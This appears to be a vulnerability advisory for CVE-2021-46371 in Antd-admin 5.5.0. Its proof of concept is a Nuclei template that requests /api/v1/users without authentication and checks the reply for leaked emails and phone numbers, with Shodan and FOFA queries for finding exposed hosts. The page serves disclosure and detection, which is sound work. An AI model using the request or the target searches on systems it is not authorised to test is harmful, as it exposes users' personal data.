CVE-2021-46371: AntD Admin - Sensitive Information Disclosure

2026-04-16 AntD Admin PoC Public

Description

AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.

PoC

id: CVE-2021-46371

info:
  name: AntD Admin - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    AntD Admin has a security vulnerability that stems from Antd-admin 5.5.0 being affected by an incorrect access control vulnerability. Attackers can exploit this vulnerability to gain unauthorized access to some front-end interfaces, resulting in the leakage of sensitive information such as user IDs, names, ages, phone numbers, addresses, and more.
  impact: |
    Unauthorized users can access sensitive information, leading to potential data leakage and privacy breaches.
  remediation: |
    Update to the latest version of antd-admin that addresses access control issues.
  reference:
    - https://github.com/zuiidea/antd-admin/issues/1127
    - https://github.com/zuiidea/antd-admin
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46371
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-306
    cve-id: CVE-2021-46371
    epss-score: 0.04388
    epss-percentile: 0.90802
  metadata:
    verified: true
    max-request: 1
    vendor: zuiidea
    product: antd-admin
    fofa-query: 'body="/@@/devScripts.js" && body="//! umi version:" && body="/umi.js"'
    shodan-query: html:"/umi.js" html:"@@/devScripts.js"
  tags: cve,cve2021,antdadmin,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'email":'
          - 'data":[{"id":'
          - 'phone":"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ddc9462f5563a095fbd7771580a967e3ec5859b817fae2c6c6b400d907ed93fb02201df7ae52f4fe0f4dbdd4a0c6bec3fa3822fb8e7ba256f74e3e4611d1c77fd954:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46371.yaml

References

Related Vulnerabilities